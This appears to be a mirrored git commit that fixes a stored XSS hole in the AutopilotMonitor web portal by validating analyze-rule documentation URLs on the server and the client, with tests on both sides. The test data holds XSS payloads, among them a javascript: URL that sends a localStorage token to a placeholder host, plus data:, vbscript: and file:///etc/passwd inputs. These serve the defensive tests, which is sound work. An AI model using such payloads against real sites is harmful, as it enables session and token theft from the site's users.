mirror of
https://github.com/okieselbach/AutopilotMonitor.git
synced 2026-10-24 12:42:38 +00:00
fix(security): block javascript:/data: URLs in analyze-rule relatedDocs (stored XSS)
Author-controlled relatedDocs[].url was rendered verbatim as <a href> on the session detail, diagnosis and analyze-rules pages and never validated server-side, so a Tenant Admin could store a javascript: URL that executes in the portal origin for any viewer — including cross-tenant Global/MSP admins. - Web: safeHttpUrl() guard (absolute http/https only) at all four render sites; anything else renders as plain text. - Backend: ValidateRelatedDocs on Create/Update — blank URLs dropped, non-http(s) URLs rejected with 400. - Tests on both sides. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
@@ -0,0 +1,92 @@
|
||||
using AutopilotMonitor.Functions.Services;
|
||||
using AutopilotMonitor.Shared.DataAccess;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Microsoft.Extensions.Logging.Abstractions;
|
||||
using Moq;
|
||||
|
||||
namespace AutopilotMonitor.Functions.Tests;
|
||||
|
||||
/// <summary>
|
||||
/// Stored-XSS guard for analyze-rule relatedDocs: the author-controlled URL is rendered as
|
||||
/// an anchor href for every viewer (including cross-tenant admins), so only absolute
|
||||
/// http(s) URLs may persist. Create and Update both reject anything else with an
|
||||
/// <see cref="ArgumentException"/> (400), and drop blank entries silently.
|
||||
/// </summary>
|
||||
public class AnalyzeRuleRelatedDocsUrlTests
|
||||
{
|
||||
private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
|
||||
|
||||
[Theory]
|
||||
[InlineData("https://learn.microsoft.com/x", true)]
|
||||
[InlineData("http://example.com/", true)]
|
||||
[InlineData(" https://example.com/a?b=c#d ", true)]
|
||||
[InlineData("javascript:alert(1)", false)]
|
||||
[InlineData("JavaScript:fetch('https://example.com/'+localStorage.token)", false)]
|
||||
[InlineData("data:text/html,<script>alert(1)</script>", false)]
|
||||
[InlineData("vbscript:msgbox(1)", false)]
|
||||
[InlineData("file:///etc/passwd", false)]
|
||||
[InlineData("/relative/path", false)]
|
||||
[InlineData("example.com", false)]
|
||||
[InlineData("", false)]
|
||||
[InlineData(null, false)]
|
||||
public void IsAbsoluteHttpUrl_allows_only_absolute_http_and_https(string? url, bool expected)
|
||||
{
|
||||
Assert.Equal(expected, AnalyzeRuleService.IsAbsoluteHttpUrl(url));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task CreateRuleAsync_rejects_javascript_url_and_never_persists()
|
||||
{
|
||||
var repo = new Mock<IRuleRepository>(MockBehavior.Strict);
|
||||
repo.Setup(r => r.AnalyzeRuleExistsAsync(It.IsAny<string>(), It.IsAny<string>())).ReturnsAsync(false);
|
||||
var service = new AnalyzeRuleService(repo.Object, NullLogger<AnalyzeRuleService>.Instance);
|
||||
|
||||
var rule = MakeRule(new RelatedDoc { Title = "Microsoft Docs: fix this error", Url = "javascript:alert(1)" });
|
||||
|
||||
var ex = await Assert.ThrowsAsync<ArgumentException>(() => service.CreateRuleAsync(TenantId, rule));
|
||||
Assert.Contains("javascript:alert(1)", ex.Message);
|
||||
repo.Verify(r => r.StoreAnalyzeRuleAsync(It.IsAny<AnalyzeRule>(), It.IsAny<string>()), Times.Never);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task UpdateRuleAsync_rejects_data_url_for_custom_rule()
|
||||
{
|
||||
var repo = new Mock<IRuleRepository>(MockBehavior.Strict);
|
||||
var service = new AnalyzeRuleService(repo.Object, NullLogger<AnalyzeRuleService>.Instance);
|
||||
|
||||
var rule = MakeRule(new RelatedDoc { Title = "Docs", Url = "data:text/html,<script>alert(1)</script>" });
|
||||
|
||||
await Assert.ThrowsAsync<ArgumentException>(() => service.UpdateRuleAsync(TenantId, rule));
|
||||
repo.Verify(r => r.StoreAnalyzeRuleAsync(It.IsAny<AnalyzeRule>(), It.IsAny<string>()), Times.Never);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public async Task CreateRuleAsync_keeps_https_docs_and_drops_blank_entries()
|
||||
{
|
||||
AnalyzeRule? stored = null;
|
||||
var repo = new Mock<IRuleRepository>(MockBehavior.Strict);
|
||||
repo.Setup(r => r.AnalyzeRuleExistsAsync(It.IsAny<string>(), It.IsAny<string>())).ReturnsAsync(false);
|
||||
repo.Setup(r => r.StoreAnalyzeRuleAsync(It.IsAny<AnalyzeRule>(), TenantId))
|
||||
.Callback<AnalyzeRule, string>((r, _) => stored = r)
|
||||
.ReturnsAsync(true);
|
||||
var service = new AnalyzeRuleService(repo.Object, NullLogger<AnalyzeRuleService>.Instance);
|
||||
|
||||
var rule = MakeRule(
|
||||
new RelatedDoc { Title = "Good", Url = "https://learn.microsoft.com/x" },
|
||||
new RelatedDoc { Title = "", Url = "" }, // editor "+ Add Link" default, untouched
|
||||
new RelatedDoc { Title = "Blank", Url = " " });
|
||||
|
||||
Assert.True(await service.CreateRuleAsync(TenantId, rule));
|
||||
Assert.NotNull(stored);
|
||||
var doc = Assert.Single(stored!.RelatedDocs);
|
||||
Assert.Equal("https://learn.microsoft.com/x", doc.Url);
|
||||
}
|
||||
|
||||
private static AnalyzeRule MakeRule(params RelatedDoc[] docs) => new()
|
||||
{
|
||||
RuleId = "TENANT-DOCS-URL-001",
|
||||
IsBuiltIn = false,
|
||||
IsCommunity = false,
|
||||
RelatedDocs = docs.ToList(),
|
||||
};
|
||||
}
|
||||
@@ -78,6 +78,12 @@ namespace AutopilotMonitor.Functions.Functions.Rules
|
||||
await conflict.WriteAsJsonAsync(new { success = false, message = ex.Message });
|
||||
return conflict;
|
||||
}
|
||||
catch (ArgumentException ex)
|
||||
{
|
||||
var badReq = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await badReq.WriteAsJsonAsync(new { success = false, message = ex.Message });
|
||||
return badReq;
|
||||
}
|
||||
}
|
||||
|
||||
[Function("UpdateAnalyzeRule")]
|
||||
@@ -121,6 +127,12 @@ namespace AutopilotMonitor.Functions.Functions.Rules
|
||||
await conflict.WriteAsJsonAsync(new { success = false, message = ex.Message });
|
||||
return conflict;
|
||||
}
|
||||
catch (ArgumentException ex)
|
||||
{
|
||||
var badReq = req.CreateResponse(HttpStatusCode.BadRequest);
|
||||
await badReq.WriteAsJsonAsync(new { success = false, message = ex.Message });
|
||||
return badReq;
|
||||
}
|
||||
}
|
||||
|
||||
[Function("CreateAnalyzeRuleFromTemplate")]
|
||||
|
||||
@@ -274,6 +274,7 @@ namespace AutopilotMonitor.Functions.Services
|
||||
}
|
||||
|
||||
ValidateEvaluateOn(rule);
|
||||
ValidateRelatedDocs(rule);
|
||||
|
||||
rule.IsBuiltIn = false;
|
||||
rule.IsCommunity = false;
|
||||
@@ -311,6 +312,7 @@ namespace AutopilotMonitor.Functions.Services
|
||||
}
|
||||
|
||||
ValidateEvaluateOn(rule);
|
||||
ValidateRelatedDocs(rule);
|
||||
|
||||
// Custom rules are fully tenant-owned: fold a notify override into the row default
|
||||
// (there is no separate RuleState for them) — mirrors how the UI edits Enabled.
|
||||
@@ -656,6 +658,43 @@ namespace AutopilotMonitor.Functions.Services
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Related-doc URLs are author-controlled (Tenant Admin) and rendered as anchor hrefs
|
||||
/// for every viewer of a fired rule, including cross-tenant Global/MSP admins. Only
|
||||
/// absolute http(s) URLs may persist — a stored javascript:/data: URL would be a durable
|
||||
/// stored XSS in the portal origin. Entries with an empty URL (the editor's "+ Add Link"
|
||||
/// default) are dropped rather than rejected. Throws <see cref="ArgumentException"/>
|
||||
/// (mapped to 400 by the function) so the author sees the offending entry.
|
||||
/// </summary>
|
||||
internal static void ValidateRelatedDocs(AnalyzeRule rule)
|
||||
{
|
||||
if (rule.RelatedDocs is not { Count: > 0 })
|
||||
return;
|
||||
|
||||
rule.RelatedDocs = rule.RelatedDocs
|
||||
.Where(d => d != null && !string.IsNullOrWhiteSpace(d.Url))
|
||||
.ToList();
|
||||
|
||||
var invalid = rule.RelatedDocs
|
||||
.Where(d => !IsAbsoluteHttpUrl(d.Url))
|
||||
.Select(d => d.Url.Trim())
|
||||
.ToList();
|
||||
if (invalid.Count > 0)
|
||||
{
|
||||
throw new ArgumentException(
|
||||
$"Invalid relatedDocs URL(s): {string.Join(", ", invalid)}. " +
|
||||
"Only absolute http:// or https:// URLs are allowed.");
|
||||
}
|
||||
}
|
||||
|
||||
internal static bool IsAbsoluteHttpUrl(string? url)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(url))
|
||||
return false;
|
||||
return Uri.TryCreate(url.Trim(), UriKind.Absolute, out var uri)
|
||||
&& (uri.Scheme == Uri.UriSchemeHttp || uri.Scheme == Uri.UriSchemeHttps);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// True when two analyze rule definitions are the same content (ignoring provenance / tenant
|
||||
/// state / timestamps) — the seed's "did the definition change?" test. Also used by the
|
||||
|
||||
@@ -6,6 +6,7 @@ import { FormJsonToggle, JsonModeToggleButtons, ReadOnlyJsonView } from "@/compo
|
||||
import AnalyzeRuleFormFields from "./AnalyzeRuleFormFields";
|
||||
import { stripInternalFields } from "@/lib/rulePageHelpers";
|
||||
import { formatInlineMarkdown } from "@/lib/formatInlineMarkdown";
|
||||
import { safeHttpUrl } from "@/lib/safeDocUrl";
|
||||
|
||||
/** One day of rule telemetry (rule-stats `trend`; sparse — days without activity have no entry). */
|
||||
export interface RuleTrendPoint {
|
||||
@@ -445,12 +446,17 @@ export default function AnalyzeRuleCard({
|
||||
<div>
|
||||
<h4 className="text-sm font-semibold text-gray-700 mb-2">Related Documentation</h4>
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{rule.relatedDocs.map((doc, idx) => (
|
||||
<a key={idx} href={doc.url} target="_blank" rel="noopener noreferrer" className="inline-flex items-center space-x-1.5 px-3 py-1.5 bg-indigo-50 border border-indigo-200 rounded-lg text-sm text-indigo-700 hover:bg-indigo-100 transition-colors">
|
||||
<svg className="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14" /></svg>
|
||||
<span>{doc.title}</span>
|
||||
</a>
|
||||
))}
|
||||
{rule.relatedDocs.map((doc, idx) => {
|
||||
const href = safeHttpUrl(doc.url);
|
||||
return href ? (
|
||||
<a key={idx} href={href} target="_blank" rel="noopener noreferrer" className="inline-flex items-center space-x-1.5 px-3 py-1.5 bg-indigo-50 border border-indigo-200 rounded-lg text-sm text-indigo-700 hover:bg-indigo-100 transition-colors">
|
||||
<svg className="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14" /></svg>
|
||||
<span>{doc.title}</span>
|
||||
</a>
|
||||
) : (
|
||||
<span key={idx} className="inline-flex items-center px-3 py-1.5 border border-gray-200 rounded-lg text-sm text-gray-500">{doc.title}</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
@@ -16,6 +16,7 @@ import { ConfidenceBadge, SeverityBadge } from "./components/DiagnosisBadges";
|
||||
import { Session, EnrollmentEvent, RuleResult } from "@/types";
|
||||
import { useAdminMode } from "@/hooks/useAdminMode";
|
||||
import { isGuid } from "@/utils/inputValidation";
|
||||
import { safeHttpUrl } from "@/lib/safeDocUrl";
|
||||
|
||||
export default function DiagnosisPage() {
|
||||
// useSearchParams() in DiagnosisContent requires a Suspense boundary for static prerender.
|
||||
@@ -286,6 +287,7 @@ function DiagnosisContent() {
|
||||
|
||||
const primaryResult = analysisResults[0] || null;
|
||||
const otherResults = analysisResults.slice(1);
|
||||
const primaryDocUrl = safeHttpUrl(primaryResult?.relatedDocs?.[0]?.url);
|
||||
|
||||
const statusLabel =
|
||||
session?.status === "Failed"
|
||||
@@ -529,9 +531,9 @@ function DiagnosisContent() {
|
||||
|
||||
{/* Action Buttons */}
|
||||
<div className="flex items-center space-x-3 mt-4">
|
||||
{primaryResult.relatedDocs?.length > 0 && (
|
||||
{primaryDocUrl && (
|
||||
<a
|
||||
href={primaryResult.relatedDocs[0].url}
|
||||
href={primaryDocUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center space-x-1 text-sm text-green-700 hover:text-green-800"
|
||||
@@ -726,17 +728,22 @@ function DiagnosisContent() {
|
||||
|
||||
{result.relatedDocs?.length > 0 && (
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{result.relatedDocs.map((doc, i) => (
|
||||
<a
|
||||
key={i}
|
||||
href={doc.url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-xs text-green-700 hover:text-green-800 underline"
|
||||
>
|
||||
{doc.title}
|
||||
</a>
|
||||
))}
|
||||
{result.relatedDocs.map((doc, i) => {
|
||||
const href = safeHttpUrl(doc.url);
|
||||
return href ? (
|
||||
<a
|
||||
key={i}
|
||||
href={href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-xs text-green-700 hover:text-green-800 underline"
|
||||
>
|
||||
{doc.title}
|
||||
</a>
|
||||
) : (
|
||||
<span key={i} className="text-xs text-gray-500">{doc.title}</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -12,6 +12,7 @@ import { dashboardUrl } from "@/lib/routes";
|
||||
import { recentWindowStartIso, sumRecentFires } from "@/lib/ruleRecentFires";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { useTenant } from "@/contexts/TenantContext";
|
||||
import { safeHttpUrl } from "@/lib/safeDocUrl";
|
||||
|
||||
interface AnalysisResultsSectionProps {
|
||||
analysisResults: RuleResult[];
|
||||
@@ -385,17 +386,22 @@ function AnalysisResultCard({
|
||||
<div>
|
||||
<h4 className="text-sm font-medium text-gray-700 mb-1">Related Documentation</h4>
|
||||
<div className="flex flex-wrap gap-2">
|
||||
{result.relatedDocs.map((doc, i) => (
|
||||
<a
|
||||
key={i}
|
||||
href={doc.url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-green-700 hover:text-green-800 underline"
|
||||
>
|
||||
{doc.title}
|
||||
</a>
|
||||
))}
|
||||
{result.relatedDocs.map((doc, i) => {
|
||||
const href = safeHttpUrl(doc.url);
|
||||
return href ? (
|
||||
<a
|
||||
key={i}
|
||||
href={href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-green-700 hover:text-green-800 underline"
|
||||
>
|
||||
{doc.title}
|
||||
</a>
|
||||
) : (
|
||||
<span key={i} className="text-sm text-gray-500">{doc.title}</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import { safeHttpUrl } from "../safeDocUrl";
|
||||
|
||||
describe("safeHttpUrl", () => {
|
||||
it("passes absolute http(s) URLs through", () => {
|
||||
expect(safeHttpUrl("https://learn.microsoft.com/x")).toBe("https://learn.microsoft.com/x");
|
||||
expect(safeHttpUrl("http://example.com/")).toBe("http://example.com/");
|
||||
expect(safeHttpUrl(" https://example.com/a?b=c#d ")).toBe("https://example.com/a?b=c#d");
|
||||
});
|
||||
|
||||
it("rejects script-bearing and non-http schemes", () => {
|
||||
expect(safeHttpUrl("javascript:alert(1)")).toBeNull();
|
||||
expect(safeHttpUrl("JavaScript:alert(1)")).toBeNull();
|
||||
expect(safeHttpUrl(" \tjavascript:alert(1)")).toBeNull();
|
||||
expect(safeHttpUrl("data:text/html,<script>alert(1)</script>")).toBeNull();
|
||||
expect(safeHttpUrl("vbscript:msgbox(1)")).toBeNull();
|
||||
expect(safeHttpUrl("file:///etc/passwd")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects relative, empty and non-string values", () => {
|
||||
expect(safeHttpUrl("/relative/path")).toBeNull();
|
||||
expect(safeHttpUrl("example.com")).toBeNull();
|
||||
expect(safeHttpUrl("")).toBeNull();
|
||||
expect(safeHttpUrl(null)).toBeNull();
|
||||
expect(safeHttpUrl(undefined)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,20 @@
|
||||
/**
|
||||
* Returns the URL when it parses as an absolute http(s) URL, otherwise null.
|
||||
*
|
||||
* Rule relatedDocs URLs are author-controlled (Tenant Admin) and rendered as
|
||||
* anchor hrefs for every viewer, including cross-tenant admins. React does not
|
||||
* sanitize href, so a stored `javascript:` / `data:` URL would execute in the
|
||||
* portal origin on click. Every render site must go through this guard and
|
||||
* fall back to plain text for anything that is not http(s).
|
||||
*/
|
||||
export function safeHttpUrl(url: string | null | undefined): string | null {
|
||||
if (typeof url !== "string") return null;
|
||||
const trimmed = url.trim();
|
||||
if (!trimmed) return null;
|
||||
try {
|
||||
const parsed = new URL(trimmed);
|
||||
return parsed.protocol === "http:" || parsed.protocol === "https:" ? trimmed : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user